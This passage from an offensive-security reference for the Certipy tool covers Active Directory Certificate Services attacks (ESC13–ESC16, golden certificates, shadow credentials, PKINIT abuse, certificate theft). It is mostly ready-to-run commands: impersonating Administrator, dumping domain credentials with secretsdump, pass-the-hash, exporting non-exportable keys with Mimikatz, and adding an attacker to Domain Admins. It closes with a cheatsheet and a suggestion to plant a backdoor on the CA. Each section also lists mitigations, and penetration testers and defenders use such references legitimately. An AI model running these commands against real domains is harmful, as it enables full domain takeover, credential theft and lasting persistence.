certipy req -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -template 'ESC13Template'
# → attacker.pfx

# Step 3: Authenticate — the resulting TGT will have the linked group's privileges
certipy auth -pfx 'attacker.pfx' -dc-ip 10.0.0.100
# → attacker.ccache (TGT includes Domain Admins group SID in PAC)

# Step 4: Use the ticket
export KRB5CCNAME=attacker.ccache
impacket-secretsdump -k -no-pass corp.local/attacker@dc01.corp.local

The key insight here: you do not need to request a cert for Administrator. You enroll as yourself, but the resulting Kerberos ticket carries the privileged group membership. No UPN manipulation required.

Mitigations:

  • Audit all OID objects in CN=OID,CN=Public Key Services,CN=Services,... for msDS-OIDToGroupLink
  • Never link issuance policy OIDs to high-privilege groups (Domain Admins, Enterprise Admins, etc.)
  • Restrict enrollment to narrow, necessary groups on any template with OID group links

ESC14 — Weak Explicit Mapping (altSecurityIdentities)

Conditions:

  • An attacker has GenericWrite over a target account's altSecurityIdentities attribute
  • The DC is in compatibility mode (StrongCertificateBindingEnforcement = 1) or disabled mode (= 0)
  • The attacker can obtain any certificate (does not require enrollment in a specific template)

Background:

altSecurityIdentities is an AD attribute that allows explicit certificate-to-account mappings. The strong mappings format is X509:<I>Issuer<SR>SerialNumberReversed. But in compatibility/disabled mode, the DC also accepts weaker mapping strings such as:

  • X509:<RFC822>user@corp.local — matches the certificate's email SAN
  • X509:<UpnMapping>upn@corp.local — matches the UPN SAN
  • X509:<SubjectName>CN=name,... — matches Subject DN
  • X509:<SKI>hexthumbprint — matches Subject Key Identifier

If an attacker can write to a privileged account's altSecurityIdentities, they can insert a mapping that points to a certificate they already control, and then authenticate as that account.

Exploitation:

# Prerequisite: attacker has GenericWrite on Administrator's object
# Attacker already has a certificate (e.g., from enrolling in any template)
# Get the certificate's RFC822 email or UPN value

# Step 1: Read attacker cert details
certipy cert -pfx 'attacker.pfx' -info
# Note the UPN or email SAN value from the output

# Step 2: Write a weak explicit mapping to the target account
# (Use bloodyAD, PowerShell, or impacket-ldapmodify)
# Example with bloodyAD:
bloodyAD -u 'attacker' -p 'Password!' -d corp.local \
  --host DC01.CORP.LOCAL \
  set object Administrator altSecurityIdentities \
  "X509:<RFC822>attacker@corp.local"

# Step 3: Authenticate as Administrator using the attacker's own cert
certipy auth -pfx 'attacker.pfx' -dc-ip 10.0.0.100 \
  -username 'administrator' -domain 'corp.local'

The certipy cert subcommand can be used to inspect PFX contents and confirm what identity fields are present. Always verify the mapping type matches what is in the cert's SAN/Subject.

Detection: Certipy flags ESC14 when StrongCertificateBindingEnforcement is not at full enforcement and a user has write access to altSecurityIdentities on a privileged object.

[!] Vulnerabilities
  ESC14 : Weak explicit mapping can be abused.

Mitigations:

  • Set StrongCertificateBindingEnforcement = 2
  • Audit write ACEs on altSecurityIdentities — only dedicated PKI/identity admins should write this attribute
  • Monitor changes to altSecurityIdentities via AD audit logs (Event ID 4662)

ESC15 — Schema V1 Application Policy Injection

Conditions:

  • A Schema V1 certificate template (e.g., the built-in User or Machine template) is enrollable by low-privileged users
  • The CA does not have a policy module that filters or validates the Application Policy extension
  • An attacker can supply the Application Policies extension in their CSR (certificate signing request)

Background:

Schema V1 templates are the oldest template type in AD CS, inherited from Windows 2000/2003 era PKI. Unlike V2/V3 templates, they do not have a hard-coded EKU list — the CA blindly copies whatever EKU/Application Policy extensions the requester places in the CSR. This means an attacker enrolling in a V1 template can inject the Certificate Request Agent EKU (1.3.6.1.4.1.311.20.2.1) into their own certificate, effectively upgrading it to an enrollment agent cert without having explicit permission to enroll in an agent-issuing template.

This is distinct from ESC3 (which requires a dedicated agent template to be present and enrollable). ESC15 abuses the V1 template's permissive CSR handling to synthesize an agent certificate from scratch.

Detection:

[!] Vulnerabilities
  ESC15 : Schema V1 template allows application policy injection.

Exploitation:

# Step 1: Request a cert from a Schema V1 template, injecting the
#         Certificate Request Agent application policy into the CSR
certipy req -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -template 'User' \
  -application-policies '1.3.6.1.4.1.311.20.2.1'
# → attacker.pfx  (now contains Certificate Request Agent EKU)

# Step 2: Use the synthetic agent cert to enroll on behalf of Administrator
certipy req -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -ca 'CORP-CA' -template 'User' \
  -pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'
# → administrator.pfx

# Step 3: Authenticate
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100

Mitigations:

  • Migrate all V1 templates to V2 or V3 (V2+ honour server-side EKU enforcement)
  • Restrict enrollment rights on any remaining V1 templates
  • Enable the CA policy module to reject CSRs with unexpected extensions
  • Enable Manager Approval on templates that cannot be migrated immediately

ESC16 — Security Extension Disabled on CA

Conditions:

  • The CA has disabled the szOID_NTDS_CA_SECURITY_EXT for all issued certificates (CA-wide setting)
  • An attacker can write to their own userPrincipalName

How it works: Same as ESC9 but applied globally — all certificates from this CA lack the SID security extension, making UPN-based mapping the only option for the KDC.

Detection:

[!] Vulnerabilities
  ESC16 : CA has disabled security extension.

Exploitation: Follow the same steps as ESC9 (change UPN → request cert → restore UPN → auth), but any enrollable client-auth template works (not just CT_FLAG_NO_SECURITY_EXTENSION ones).


Non-ESC Certificate-Based Attacks

These techniques do not fit neatly into the ESC numbering scheme but are first-class certificate abuse paths that Certipy directly supports.


Golden Certificate — Forge via Stolen CA Key

What it is:

A "Golden Certificate" is an arbitrary certificate signed offline by a compromised CA's private key. Because AD CS validation trusts any cert signed by an NTAuth-trusted CA, a forged cert authenticates as any domain principal — including accounts that do not exist.

Prerequisites:

  • CA private key and certificate (obtained via ESC5, ESC7, ESC12, or direct CA server compromise)

Full workflow:

# Step 1: Export the CA private key and cert (requires Manage CA or local admin on CA server)
certipy ca -u 'admin@corp.local' -p 'Password!' \
  -ns 10.0.0.100 -target 'CA.CORP.LOCAL' \
  -config 'CA.CORP.LOCAL\CORP-CA' -backup
# → CORP-CA.pfx

# Step 2: Forge a certificate for any account
certipy forge \
  -ca-pfx 'CORP-CA.pfx' \
  -upn 'administrator@corp.local' \
  -sid 'S-1-5-21-...-500' \
  -crl 'ldap:///'
# → administrator_forged.pfx

# For a machine/DC account (use -dns instead of -upn):
certipy forge \
  -ca-pfx 'CORP-CA.pfx' \
  -dns 'dc01.corp.local' \
  -sid 'S-1-5-21-...-1000' \
  -crl 'ldap:///'
# → dc01_forged.pfx

# Step 3: Authenticate with the forged cert
certipy auth -pfx 'administrator_forged.pfx' -dc-ip 10.0.0.100
# → TGT + NTLM hash

Key notes:

  • The -crl 'ldap:///' argument sets a dummy CRL distribution point. Without it, PKINIT authentication fails because the KDC checks that a CDP extension is present (it does not verify the CRL itself during initial auth).
  • The forged cert is signed offline — no CA service interaction needed after key export.
  • The private key for the forged cert is generated fresh by Certipy. Only the issuer signature uses the real CA key.
  • This is permanent persistence: even if all accounts are reset, the CA key can forge new certs until the CA itself is rotated and removed from NTAuth.

Persistence consideration:

If the CA is removed from NTAuthCertificates or the CA cert is revoked and published to the CRL, forged certs stop working. To maintain persistence after CA rotation, plant a backdoor on the CA server itself rather than relying on the forged cert chain.

Mitigations:

  • Treat CA servers as Tier 0 assets — no non-PKI-admin accounts with local admin
  • Store CA private keys on an HSM with non-exportable key policy
  • Rotate the CA if key compromise is confirmed (requires re-issuing all certificates)
  • Monitor CN=NTAuthCertificates for unexpected CA additions

What it is:

Shadow Credentials abuse the msDS-KeyCredentialLink attribute on user or computer objects. This attribute stores public keys for Windows Hello for Business (WHfB) and PKINIT pre-authentication. An attacker who can write to this attribute can plant their own key pair, then authenticate as the victim via PKINIT using the corresponding private key — without knowing the victim's password.

Prerequisites:

  • GenericWrite or WriteProperty on the target's msDS-KeyCredentialLink attribute
  • The domain functional level must support WHfB key trust (Windows Server 2016+)
  • A DC must have the PKINIT pre-authentication extension enabled

Full workflow:

# Auto mode: add key, auth, retrieve NTLM hash, then clean up (all in one)
certipy shadow auto \
  -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 \
  -account 'targetUser'
# → targetUser.pfx, targetUser.ccache, prints NTLM hash

# Manual mode: add key only
certipy shadow add \
  -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 \
  -account 'targetUser' \
  -out 'targetUser'
# → targetUser.pfx (your private key), key planted on targetUser's object

# Authenticate using the planted key
certipy auth -pfx 'targetUser.pfx' -dc-ip 10.0.0.100
# → targetUser.ccache + NTLM hash

# List all keys on the target object (verify your implant is there)
certipy shadow list \
  -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 \
  -account 'targetUser'

# Remove your key from the target (cleanup)
certipy shadow remove \
  -u 'attacker@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 \
  -account 'targetUser'

Attack chain with BloodHound path:

Shadow Credentials is a common final step in BloodHound paths involving GenericWrite or WriteProperty over a high-value target. The typical chain:

Low-priv user → GenericWrite on SvcAccount → Shadow Credentials → NTLM hash → Pass-the-Hash to privileged resource

Important notes:

  • shadow auto is destructive if something fails mid-run — prefer shadow add + manual auth + shadow remove in sensitive environments
  • The NTLM hash from certipy auth is retrieved via the U2U (User-to-User) Kerberos mechanism after obtaining the TGT — you do not need to crack it
  • Machine accounts can also be targeted if you have GenericWrite over them — the resulting NTLM hash can be used for Silver Ticket attacks or secretsdump

Mitigations:

  • Audit GenericWrite and WriteProperty ACEs on all accounts — especially service accounts and machine objects
  • Monitor Event ID 5136 (directory object modification) for changes to msDS-KeyCredentialLink
  • Consider disabling WHfB key trust if not in use (requires functional alternative for WHfB enrollment)

PKINIT Kerberos Abuse Post-Auth

What it is:

After obtaining a TGT via certipy auth, there are additional Kerberos techniques to extract more credentials or pivot further — specific to the PKINIT authentication path.

Retrieving NTLM hash via PKINIT U2U:

Certipy's auth command automatically does this. The flow is:

1. certipy auth → PKINIT pre-auth → TGT issued
2. Certipy sends a U2U (User-to-User) TGS request to itself
3. The KDC encrypts the response with the user's long-term key (derived from NTLM hash)
4. Certipy decrypts the PAC and extracts the NTLM hash

This means you get the NTLM hash without touching LSASS — fully from a network perspective.

# Standard: get TGT + NTLM hash
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100
# Output:
# [*] Using principal: administrator@corp.local
# [*] Trying to get TGT...
# [*] Got TGT
# [*] Saved credential cache to 'administrator.ccache'
# [*] Trying to retrieve NT hash for 'administrator'
# [*] Got NT hash for 'administrator@corp.local': <HASH>

# Use the TGT for Kerberos-auth impacket tools
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass corp.local/administrator@dc01.corp.local
impacket-psexec -k -no-pass corp.local/administrator@dc01.corp.local

# Use the NTLM hash for Pass-the-Hash
impacket-secretsdump -hashes :<NTHash> corp.local/administrator@10.0.0.100

Schannel / LDAP shell (when PKINIT is unavailable):

If Kerberos PKINIT is blocked (e.g., UDP/88 filtered, no PKINIT support on older DCs), the -ldap-shell flag authenticates via TLS client certificate (Schannel) to LDAP instead:

certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100 -ldap-shell
# → Drops into an interactive LDAP shell (add_user_to_group, set_dontreqpreauth, etc.)

Useful LDAP shell commands:

# Inside the ldap-shell:
add_user_to_group attacker "Domain Admins"
set_dontreqpreauth victim true         # Enable AS-REP roasting on a target
whoami

Certificate Theft — Extracting Existing Certs

What it is:

Before forging or requesting new certificates, it is worth checking whether high-value certificates already exist on the target machine — especially in the user/machine certificate store or in memory. This is a post-exploitation / credential harvesting technique, not a CA misconfiguration abuse.

Using Certipy to dump certificates from the local store:

# Dump all certificates from current user's certificate store
certipy find -u 'user@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -local

# Dump certificates from a remote machine (requires local admin)
certipy find -u 'admin@corp.local' -p 'Password!' \
  -dc-ip 10.0.0.100 -remote -target 'WORKSTATION.CORP.LOCAL'

Extracting PFX from Windows certificate store (on target machine):

If you have a shell on the target, use Certipy's Windows companion or PowerShell:

# List certs in machine store
Get-ChildItem Cert:\LocalMachine\My

# Export a cert with private key (requires admin, non-exportable keys will fail)
$cert = Get-Item "Cert:\LocalMachine\My\<THUMBPRINT>"
$pfxBytes = $cert.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pfx, "ExportPass")
[System.IO.File]::WriteAllBytes("C:\Temp\exported.pfx", $pfxBytes)

Using Mimikatz for non-exportable keys (crypto export patch):

# In Mimikatz:
crypto::capi                        # Patch CryptoAPI to allow export of non-exportable keys
crypto::cng                         # Patch CNG (Next Generation Crypto) similarly
crypto::certificates /export        # Export all certs including non-exportable

What to look for:

High-value certificates in enterprise environments often include:

  • Machine certificates (allowing full domain computer impersonation)
  • DC certificates (enabling DCSync via certipy auth → secretsdump)
  • Smart card logon certs for privileged users left on shared workstations
  • Code signing certs (out-of-scope for AD auth but useful for other purposes)

Mitigations:

  • Mark private keys as non-exportable at enrollment time (enforced by template)
  • Use TPM-backed keys on workstations (non-exportable by hardware)
  • Audit the machine/user certificate stores during incident response

Quick Reference Cheatsheet

# ─── ENUMERATION ───────────────────────────────────────────────────────────
certipy find -u 'user@corp.local' -p 'pass' -dc-ip DC_IP -enabled -text

# ─── ESC1: Enrollee Supplies Subject ───────────────────────────────────────
certipy req -u 'attacker@corp.local' -p 'pass' -dc-ip DC_IP \
  -target CA_HOST -ca CA_NAME -template VULN_TEMPLATE \
  -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500'
certipy auth -pfx administrator.pfx -dc-ip DC_IP

# ─── ESC2/ESC3: Enrollment Agent ───────────────────────────────────────────
certipy req ... -template AgentTemplate              # → attacker.pfx
certipy req ... -template User -pfx attacker.pfx \
  -on-behalf-of 'CORP\Administrator'                 # → administrator.pfx
certipy auth -pfx administrator.pfx -dc-ip DC_IP

# ─── ESC4: Template Hijack ─────────────────────────────────────────────────
certipy template ... -template TARGET -write-default-configuration
certipy req ... -template TARGET -upn 'administrator@corp.local' -sid SID
certipy auth -pfx administrator.pfx -dc-ip DC_IP
certipy template ... -template TARGET -write-configuration backup.json -no-save

# ─── ESC7: ManageCA Abuse ──────────────────────────────────────────────────
certipy ca ... -ca CA_NAME -add-officer attacker
certipy ca ... -ca CA_NAME -enable-template SubCA
certipy req ... -template SubCA -upn 'administrator@corp.local' -sid SID  # → 1.key
certipy ca ... -ca CA_NAME -issue-request 1
certipy req ... -ca CA_NAME -retrieve 1       # → administrator.pfx
certipy auth -pfx administrator.pfx -dc-ip DC_IP

# ─── ESC8: NTLM Relay to HTTP ──────────────────────────────────────────────
certipy relay -target https://CA_HOST -template DomainController
# (coerce auth in another terminal: PetitPotam / Coercer)
certipy auth -pfx dc.pfx -dc-ip DC_IP

# ─── ESC9: No SID Extension on Template ────────────────────────────────────
certipy account ... update -user attacker -upn 'administrator@corp.local'
certipy req ... -template ESC9Template               # → administrator.pfx
certipy account ... update -user attacker -upn 'attacker@corp.local'
certipy auth -pfx administrator.pfx -dc-ip DC_IP

# ─── ESC10 Case 1: UPN Pivot (weak cert mapping, GenericWrite on user) ─────
certipy account ... update -user UserA -upn 'administrator@corp.local'
certipy req ... -template User                       # enroll as UserA
certipy account ... update -user UserA -upn 'UserA@corp.local'
certipy auth -pfx UserA.pfx -dc-ip DC_IP

# ─── ESC10 Case 2: DNS Pivot (GenericWrite on machine) ─────────────────────
certipy account ... update -user 'MachineA$' -dns 'dc01.corp.local'
certipy req ... -template Machine                    # enroll as MachineA$
certipy account ... update -user 'MachineA$' -dns 'MachineA.corp.local'
certipy auth -pfx MachineA.pfx -dc-ip DC_IP

# ─── ESC11: NTLM Relay to RPC/ICPR ────────────────────────────────────────
certipy relay -target 'rpc://CA_HOST' -ca CA_NAME -template DomainController
# (coerce auth in another terminal)
certipy auth -pfx dc.pfx -dc-ip DC_IP

# ─── ESC13: OID Group Link ─────────────────────────────────────────────────
certipy req ... -template ESC13Template              # enroll as yourself → TGT has DA membership
certipy auth -pfx attacker.pfx -dc-ip DC_IP

# ─── ESC15: Schema V1 Application Policy Injection ─────────────────────────
certipy req ... -template User \
  -application-policies '1.3.6.1.4.1.311.20.2.1'   # inject CRA EKU → attacker.pfx
certipy req ... -template User -pfx attacker.pfx \
  -on-behalf-of 'CORP\Administrator'                 # → administrator.pfx
certipy auth -pfx administrator.pfx -dc-ip DC_IP

# ─── FORGE (Golden Certificate) ────────────────────────────────────────────
certipy ca ... -backup                               # → CORP-CA.pfx
certipy forge -ca-pfx CORP-CA.pfx \
  -upn 'administrator@corp.local' -sid SID -crl 'ldap:///'
certipy auth -pfx administrator_forged.pfx -dc-ip DC_IP

# ─── SHADOW CREDENTIALS ────────────────────────────────────────────────────
certipy shadow auto -u 'user@corp.local' -p 'pass' \
  -dc-ip DC_IP -account targetUser                   # auto: add key, auth, cleanup
certipy shadow add  ... -account targetUser          # manual add key only
certipy auth -pfx targetUser.pfx -dc-ip DC_IP
certipy shadow remove ... -account targetUser        # cleanup

# ─── POST-AUTH: PKINIT → NTLM + TGT USE ───────────────────────────────────
certipy auth -pfx administrator.pfx -dc-ip DC_IP    # → TGT (.ccache) + NTLM hash
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass corp.local/administrator@DC_HOST
# Or Pass-the-Hash with the extracted NT hash:
impacket-secretsdump -hashes :<NTHash> corp.local/administrator@DC_IP

# ─── LDAP SHELL (when PKINIT is unavailable) ───────────────────────────────
certipy auth -pfx administrator.pfx -dc-ip DC_IP -ldap-shell
# Inside shell: add_user_to_group attacker "Domain Admins"

References

  • GitHub: https://github.com/ly4k/Certipy
  • Wiki: https://github.com/ly4k/Certipy/wiki
  • Usage: https://github.com/ly4k/Certipy/wiki/05-%E2%80%90-Usage
  • Privilege Escalation: https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation
  • SpecterOps "Certified Pre-Owned": https://posts.specterops.io/certified-pre-owned-d95910965cd2
  • SpecterOps ESC5: https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c
  • ESC10/ESC16 (ly4k blog): https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7
  • ESC11 (ICPR relay): https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/
  • ESC13 (OID group link): https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53
  • ESC14 (altSecurityIdentities): https://posts.specterops.io/adcs-esc14-abuse-technique-4c14ede0b51a
  • ESC15 (Schema V1 policy injection): https://posts.specterops.io/adcs-esc15-abuse-technique-39f0572c3f74
  • Microsoft KB5014754 (SID extension enforcement): https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
  • Shadow Credentials research (Elad Shamir): https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab

← Tool references top ↑